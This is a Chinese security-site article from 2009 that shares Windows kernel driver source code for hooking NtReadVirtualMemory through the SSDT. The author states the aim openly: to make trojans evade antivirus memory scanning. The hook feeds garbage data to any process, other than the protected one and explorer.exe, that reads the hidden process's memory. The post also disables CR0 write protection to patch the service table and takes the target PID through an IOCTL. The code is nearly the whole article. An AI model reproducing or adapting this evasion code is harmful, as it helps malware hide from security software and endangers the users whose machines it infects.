首页 网络安全 安全学院 查看内容

hook NtReadVirtualMemory干扰杀软扫描

2009-8-29 10:51 630 0

摘要:     写了个对抗扫描的东西,跟大家分享!技术含量不高,大牛飘过。         一直以来写的都是ring3代码,现在很认真的拼...
关键词: nbsp NtReadVirtualMem NTSTATUS current 内存 DWORD DbgPrint STATUS build 进程

    写了个对抗扫描的东西,跟大家分享!技术含量不高,大牛飘过。         一直以来写的都是ring3代码,现在很认真的拼凑了一份山寨版的驱动代码,很久没这么认真过了。希望哪位大牛能指点一下,指出代码中可能存在BOSD的隐患。其他人就跟我一起学习吧~~    很久以来,做木马免杀一般都是文件表面免杀,内存免杀。文件免杀一般的思路是通过修改代码重,或者文件自身来做到。另外还有一种免杀方式就是隐藏你的木马,让杀软认为你的木马是不存在的,自然就达到免杀的效果了。   内存免杀其实不需要用OD来修改,有两种办法就可以,第一,隐藏内存dll木马的模块,第二,挂钩杀软扫描内存所需要的函数,一般是NtReadVirtualMemory即可到达内存免杀的效果。    隐藏内存模块,我所知道的有3种办法,第一,先给dll做一份内存拷贝,接着FreeLibrary释放原来的dll模块,再次申请和原来同样基址的内存,并还原dll即可;第二:摘链;第三:就是本文所说的挂钩NtReadVirtualMemory。有很多办法可以挂钩,这里我选择SSDT,呵呵,被人玩烂了的玩意,但是却也是相对成熟稳定的一种hook的方式,科普一下吧,毕竟还是有很多人徘徊在门外的 :)    已经尽最大努力去除硬编码了,下面是部分代码(完整代码见压缩包): 复制内容到剪贴板 代码:/*   web: http://www.sbasm.cn/   */#include <ntddk.h>#include "struct.h"//int pos_CreateFile;     /* 保存这些函数的服务号 */int pos_ReadVirtualMemory;UNICODE_STRING uProcessName;UNICODE_STRING MyuProcessName;ANSI_STRING aProcessName;//特殊的值,目标进程的IDDWORD        dwTargetProcessID;#define MY_CONTROL_CODE   0x4021#define IOCTL_SET_TARGET_PROCESS_ID   (ULONG)CTL_CODE( FILE_DEVICE_UNKNOWN, MY_CONTROL_CODE, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA )//一些常量定义#define EPROCESS_SIZE           1  #define PEB_OFFSET              2  #define FILE_NAME_OFFSET        3  #define PROCESS_LINK_OFFSET     4  #define PROCESS_ID_OFFSET       5  #define EXIT_TIME_OFFSET        6  DWORD GetPlantformDependentInfo ( DWORD dwFlag )   {            DWORD current_build;            DWORD ans = 0;                PsGetVersion(NULL, NULL,&current_build, NULL);            switch ( dwFlag )           {            case EPROCESS_SIZE:                    if (current_build == 2195) ans = 0 ;        // 2000,当前不支持2000,下同                   if (current_build == 2600) ans = 0x25C;     // xp                   if (current_build == 3790) ans = 0x270;     // 2003                   break;            case PEB_OFFSET:                    if (current_build == 2195)  ans = 0;                    if (current_build == 2600)  ans = 0x1b0;                    if (current_build == 3790)  ans = 0x1a0;                   break;            case FILE_NAME_OFFSET:                    if (current_build == 2195)  ans = 0;                    if (current_build == 2600)  ans = 0x174;                    if (current_build == 3790)  ans = 0x164;                   break;            case PROCESS_LINK_OFFSET:                    if (current_build == 2195)  ans = 0;                    if (current_build == 2600)  ans = 0x088;                    if (current_build == 3790)  ans = 0x098;                   break;            case PROCESS_ID_OFFSET:                    if (current_build == 2195)  ans = 0;                    if (current_build == 2600)  ans = 0x084;                    if (current_build == 3790)  ans = 0x094;                   break;            case EXIT_TIME_OFFSET:                    if (current_build == 2195)  ans = 0;                    if (current_build == 2600)  ans = 0x078;                    if (current_build == 3790)  ans = 0x088;                   break;            }            return ans;    }  /*++函数名: HookNtReadVirtualMemory参数:    IN HANDLE ProcessHandle,    IN PVOID BaseAddress,    OUT PVOID Buffer,    IN ULONG BufferLength,    OUT PULONG ReturnLength OPTIONAL功能:隐藏保护模块的内存,如果发现有内存扫描到这块内存,则返回垃圾数据扰乱扫描过程返回:NTSTATUS说明:                //得到了进程对象的对象体,也就是进程的eprocess结构,在xp sp3下,eprocess偏移                //+0x084 就是一个4字节的UniqueProcessId 调用一个GetPlantformDependentInfo即可获得不同版本的 UniqueProcessId--*/NTSTATUSHookNtReadVirtualMemory(                                          IN HANDLE ProcessHandle,                                          IN PVOID BaseAddress,                                          OUT PVOID Buffer,                                          IN ULONG BufferLength,                                          OUT PULONG ReturnLength OPTIONAL                                          ){        NTSTATUS        ret;        PVOID                pEprocess;   //通过进程句柄得到ID        PVOID                pExplorer_Eprocess;  //过滤掉桌面进程explorer时用到的一个EPROCESS类型临时变量        DWORD                dwCurrentPID;  //当前ProcessHandle句柄对应的进程号        DWORD dwProcessId;        DWORD dwFileName;                pEprocess = NULL;        dwProcessId = GetPlantformDependentInfo(PROCESS_ID_OFFSET);        dwFileName  = GetPlantformDependentInfo(FILE_NAME_OFFSET);        ret = ObReferenceObjectByHandle(ProcessHandle , 0, NULL, KernelMode, &pEprocess, NULL);        if(STATUS_SUCCESS == ret)        {                DbgPrint("the caller ProcessName is %s\n",(PUCHAR)((BYTE*)pEprocess + dwFileName));                dwCurrentPID = *(DWORD*)((BYTE*)pEprocess+dwProcessId);         //得到被扫描的进程的PID                if(dwCurrentPID == dwTargetProcessID)   //dwTargetProcessID                 //如果被扫描的进程PID跟预定的一样,那么就开始bypass                {                                DbgPrint("call NtReadVirtualMemory!Target Process is %d.  The Caller is %d\n",dwTargetProcessID, PsGetCurrentProcessId());                        if(dwTargetProcessID == (DWORD)PsGetCurrentProcessId())  //排除自己调用NtReadVirtualMemory来读取自己内存的情况                        {                                DbgPrint("call NtReadVirtualMemory by myself\n");                                goto Next;                        }                                pExplorer_Eprocess = PsGetCurrentProcess();        //得到当前进程eprocess结构                                RtlInitUnicodeString(&uProcessName,L"explorer.exe");                                RtlInitAnsiString(&aProcessName,(PUCHAR)((BYTE*)pExplorer_Eprocess + dwFileName));                                RtlAnsiStringToUnicodeString(&MyuProcessName,&aProcessName,TRUE);                                DbgPrint("call NtReadVirtualMemory by %wZ ---%wZ\n",&MyuProcessName,&uProcessName);                                if(RtlCompareUnicodeString(&uProcessName,&MyuProcessName, TRUE) == 0)  //不区分大小写的对比!                                {                                        DbgPrint("call NtReadVirtualMemory by explorer process\n"); //排除explorer调用NtReadVirtualMemory来读取自己内存的情况                                        goto Next;                                }                                DbgPrint("call NtReadVirtualMemory by other process %d\n",PsGetCurrentProcessId());                                //排除了自己对自己的内存操作,桌面进程对所关心的进程的操作之外,其他的一切进程对多关心的进程进行操作,一律pass                                ret = ((NTREADVIRTUALMEMORY)(OldNtReadVirtualMemory))(                                        ProcessHandle,                                        BaseAddress,                                        L"ffffffffff",      //自定义的垃圾数据                                        BufferLength,                                        ReturnLength                                        );                                return ret;                }        }Next:        ret = ((NTREADVIRTUALMEMORY)(OldNtReadVirtualMemory))(                ProcessHandle,                BaseAddress,                Buffer,                BufferLength,                ReturnLength                );        return ret;}/////////////////////////////////////////////////////////////////         --          --     //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++//     --     -      -     -- //+                                                           +//     --      -   -       -- //+          下面2个函数用于得到部分SDT函数的地址             +//      --       -        --  //+                                                           +//       -     sudami     -   //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++//        --            --    /////////////////////////////////////////////////////////////////          --        --  //                                                                           --    --//                                                                                        --DWORD GetDllFunctionAddress (                                           char* lpFunctionName,                                            PUNICODE_STRING pDllName                                           )                                           /*++                                           逆向: sudami  08/02/28                                           参数:                                           lpFunctionName - 函数名称                                           pDllName - 要映射的模块名称                                           功能 :                                            把给定的模块映射到内存,读取其EAT,得到Zw系列函数地址,还在R3中,                                           1.  映射ntdll.dll到内存-->ZwMapViewOfSection.                                           2.  搜索其EAT, 得到 ZwXxxx的地址p                                           3.  p + 1 处便是ntdll.dll 转入ntoskrnl.exe的服务号.                                            4.  NtXxxx 的地址 就可以通过这个服务号 在KeServiceDescriptorTable中取出                                           5. 用你的fake函数替换掉即可.                                           --*/{        HANDLE hThread, hSection, hFile, hMod;        SECTION_IMAGE_INFORMATION sii;        IMAGE_DOS_HEADER* dosheader;        IMAGE_OPTIONAL_HEADER* opthdr;        IMAGE_EXPORT_DIRECTORY* pExportTable;        DWORD* arrayOfFunctionAddresses;        DWORD* arrayOfFunctionNames;        WORD* arrayOfFunctionOrdinals;        DWORD functionOrdinal;        DWORD Base, x, functionAddress;        char* functionName;        STRING ntFunctionName, ntFunctionNameSearch;        PVOID BaseAddress = NULL;        SIZE_T size=0;        OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE};        IO_STATUS_BLOCK iosb;        //_asm int 3;        ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);        oa.ObjectName = 0;        ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);        ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE);        ZwClose(hFile);        hMod = BaseAddress;        dosheader = (IMAGE_DOS_HEADER *)hMod;        opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);        pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);        arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions);        arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames);        arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals);        Base = pExportTable->Base;        RtlInitString(&ntFunctionNameSearch, lpFunctionName);        for(x = 0; x < pExportTable->NumberOfFunctions; x++) {                functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);                RtlInitString(&ntFunctionName, functionName);                functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1;                 functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);                if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0) {                        ZwClose(hSection);                        return functionAddress;                }        }        ZwClose(hSection);        return 0;}NTSTATUSDispatchCreate(        IN PDEVICE_OBJECT                DeviceObject,        IN PIRP                                        Irp        ){        NTSTATUS status = STATUS_SUCCESS;    Irp->IoStatus.Information = 0;        //dprintf("[KsBinSword] IRP_MJ_CREATE\n");    Irp->IoStatus.Status = status;    IoCompleteRequest(Irp, IO_NO_INCREMENT);    return status;}NTSTATUSDispatchClose(        IN PDEVICE_OBJECT                DeviceObject,        IN PIRP                                        Irp        ){        NTSTATUS status = STATUS_SUCCESS;    //DbgBreakPoint();    Irp->IoStatus.Information = 0;        //dprintf("[KsBinSword] IRP_MJ_CLOSE\n");    Irp->IoStatus.Status = status;    IoCompleteRequest(Irp, IO_NO_INCREMENT);    return status;}NTSTATUSDispatchDeviceControl(        IN PDEVICE_OBJECT                DeviceObject,        IN PIRP                                        irp        ){         PIO_STACK_LOCATION irpStack;    PVOID              InputBuffer;                //如果用到的话,会指向输入缓冲区    PVOID              OutputBuffer;        //同上,输出缓冲区    ULONG              IoControlCode;        //控制码        DWORD                           dwOutBufferLen;        //输出缓冲区长度        DWORD                           dwInBufferLen;        //输入缓冲区长度        NTSTATUS           ntstatus;    ntstatus = irp->IoStatus.Status = STATUS_SUCCESS;    irp->IoStatus.Information = 0;    irpStack = IoGetCurrentIrpStackLocation( irp ); //得到堆栈指针        //控制码    IoControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;        //控制码操作    switch ( IoControlCode )         {                        //传递目标进程ID给驱动,用户层给驱动数据                case IOCTL_SET_TARGET_PROCESS_ID:        //这里需要用到r3的输入,即进程ID号                                //得到输入                                InputBuffer = irp->AssociatedIrp.SystemBuffer;                                dwInBufferLen = irpStack->Parameters.DeviceIoControl.InputBufferLength;                                if(dwInBufferLen != sizeof(DWORD))        //输入的肯定是个DWORD                                {        DbgPrint("IOCTL_SET_TARGET_PROCESS_ID error\n");                                        break;                                }                                dwTargetProcessID = *(PULONG)InputBuffer;  //好了,应该这样就得到ID号了                                break;                default:                                DbgPrint("no such IOCODE\n");                        irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;                        break;        }        ntstatus = irp->IoStatus.Status;    IoCompleteRequest( irp, IO_NO_INCREMENT );    return ntstatus;}// 驱动入口NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath ){        NTSTATUS ntStatus = STATUS_SUCCESS;    PDEVICE_OBJECT Device;    UNICODE_STRING DeviceName, DeviceLink;  //设备名,符号链接名    DbgPrint("[MyDriver] DriverEntry\n");    RtlInitUnicodeString(&DeviceName, L"\\Device\\MyDriver");         //初始化设备名    RtlInitUnicodeString(&DeviceLink, L"\\DosDevices\\MyDriver");  //初始化符号链接名    /* IoCreateDevice 生成设备对象 */    ntStatus = IoCreateDevice(DriverObject,         //生成设备的驱动对象                              0,                    //设备扩展区内存大小                              &DeviceName,          //设备名,\Device\MyDriver                              FILE_DEVICE_UNKNOWN,  //设备类型                              0,                    //填写0即可                              FALSE,                //必须为FALSE                              &Device);             //设备对象指针返回到DeviceObject中    if (!NT_SUCCESS(ntStatus))    {        DbgPrint("[MyDriver] IoCreateDevice FALSE: %.8X\n", ntStatus);        return ntStatus;  //生成失败就返回    }    else        DbgPrint("[MyDriver] IoCreateDevice SUCCESS\n");    /* IoCreateSymbolicLink 生成符号链接 */    ntStatus = IoCreateSymbolicLink(&DeviceLink, &DeviceName);    if (!NT_SUCCESS(ntStatus))    {        DbgPrint("[MyDriver] IoCreateSymbolicLink FALSE: %.8X\n", ntStatus);        IoDeleteDevice(Device);  //删除设备        return ntStatus;    }    else        DbgPrint("[MyDriver] IoCreateSymbolicLink SUCCESS\n");    Device->Flags &= ~DO_DEVICE_INITIALIZING;  //设备初始化完成标记    DriverObject->MajorFunction[IRP_MJ_CREATE]         = DispatchCreate;    DriverObject->MajorFunction[IRP_MJ_CLOSE]          = DispatchClose;    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchDeviceControl;    DriverObject->DriverUnload                         = OnUnload;        Hook();    //SSDT hook    return ntStatus;}// 驱动卸载VOID OnUnload(IN PDRIVER_OBJECT DriverObject){        UNICODE_STRING dosDeviceName;        Unhook();    RtlInitUnicodeString(&dosDeviceName, L"\\DosDevices\\MyDriver");    IoDeleteSymbolicLink(&dosDeviceName);        if (DriverObject->DeviceObject != NULL)    {        IoDeleteDevice(DriverObject->DeviceObject);  //删除设备    }}//   此处修改SSDT中的NtCreateFile服务地址VOID Hook(){        UNICODE_STRING dllName;        DWORD          functionAddress;        int            position;        RtlInitUnicodeString( &dllName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll" );        //获取NtReadVirtualMemory的服务号完毕!        functionAddress = GetDllFunctionAddress("NtReadVirtualMemory", &dllName);        position        = *((WORD*)( functionAddress + 1 ));        pos_ReadVirtualMemory  = position;        //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>        OldNtReadVirtualMemory = (NTREADVIRTUALMEMORY) (*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + pos_ReadVirtualMemory));  //得到NtReadVirtualMemory函数的原始地址        DbgPrint( "Address of Real OldNtReadVirtualMemory: 0x%08X\n", OldNtReadVirtualMemory );        // 去掉内存保护        __asm        {                cli                        mov     eax, cr0                        and     eax, not 10000h                        mov     cr0, eax        }        (NTREADVIRTUALMEMORY) (*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + pos_ReadVirtualMemory)) = HookNtReadVirtualMemory; //SSDT HOOK NtReadVirtualMemory        DbgPrint(" Address of HookNtReadVirtualMemory: 0x%08X\n", HookNtReadVirtualMemory );        // 恢复内存保护        __asm        {                mov     eax, cr0                        or     eax, 10000h                        mov     cr0, eax                        sti        }}//////////////////////////////////////////////////////VOID Unhook(){        __asm        {                cli                        mov     eax, cr0                        and     eax, not 10000h                        mov     cr0, eax        }        // 还原SSDT        (NTREADVIRTUALMEMORY) (*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + pos_ReadVirtualMemory)) = OldNtReadVirtualMemory;        __asm        {                mov     eax, cr0                        or     eax, 10000h                        mov     cr0, eax                        sti        }        DbgPrint("Unhook");}PS:已经很久没像以前那样有时间写点小东西跟大家分享了   var tagarray = ['A1Pass','免杀','三步走','逆向工程','杀毒软件原理','XSS','内网','MyCcl','密码效验和','核心溢出','ms08067','捆绑','资源','误区','架构','讨论','ms08-067','取经','单点还原','PowerShadow','磁盘','PE文件','EXP','UTF-8','Tomcat','Apache','西天','唐僧','灌水','逆向','ratproxy','数据恢复','Ghost','EasyRecovery','DataExplorer','Serv-U','Buffer','Office','WPS','Overflow','Microsoft','内核编程','DDoS','手机号','属主','猎头','90hackit','rsa','收集','源代码','手工','隐藏驱动','百度','驱动编程','感染','机器狗','Oracle','招聘','IIS'];var tagencarray = ['A1Pass','%E5%85%8D%E6%9D%80','%E4%B8%89%E6%AD%A5%E8%B5%B0','%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B','%E6%9D%80%E6%AF%92%E8%BD%AF%E4%BB%B6%E5%8E%9F%E7%90%86','XSS','%E5%86%85%E7%BD%91','MyCcl','%E5%AF%86%E7%A0%81%E6%95%88%E9%AA%8C%E5%92%8C','%E6%A0%B8%E5%BF%83%E6%BA%A2%E5%87%BA','ms08067','%E6%8D%86%E7%BB%91','%E8%B5%84%E6%BA%90','%E8%AF%AF%E5%8C%BA','%E6%9E%B6%E6%9E%84','%E8%AE%A8%E8%AE%BA','ms08-067','%E5%8F%96%E7%BB%8F','%E5%8D%95%E7%82%B9%E8%BF%98%E5%8E%9F','PowerShadow','%E7%A3%81%E7%9B%98','PE%E6%96%87%E4%BB%B6','EXP','UTF-8','Tomcat','Apache','%E8%A5%BF%E5%A4%A9','%E5%94%90%E5%83%A7','%E7%81%8C%E6%B0%B4','%E9%80%86%E5%90%91','ratproxy','%E6%95%B0%E6%8D%AE%E6%81%A2%E5%A4%8D','Ghost','EasyRecovery','DataExplorer','Serv-U','Buffer','Office','WPS','Overflow','Microsoft','%E5%86%85%E6%A0%B8%E7%BC%96%E7%A8%8B','DDoS','%E6%89%8B%E6%9C%BA%E5%8F%B7','%E5%B1%9E%E4%B8%BB','%E7%8C%8E%E5%A4%B4','90hackit','rsa','%E6%94%B6%E9%9B%86','%E6%BA%90%E4%BB%A3%E7%A0%81','%E6%89%8B%E5%B7%A5','%E9%9A%90%E8%97%8F%E9%A9%B1%E5%8A%A8','%E7%99%BE%E5%BA%A6','%E9%A9%B1%E5%8A%A8%E7%BC%96%E7%A8%8B','%E6%84%9F%E6%9F%93','%E6%9C%BA%E5%99%A8%E7%8B%97','Oracle','%E6%8B%9B%E8%81%98','IIS'];parsetag(); 附件 hook NtReadVirtualMemory干扰杀软扫描.rar (9.78 KB)  
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部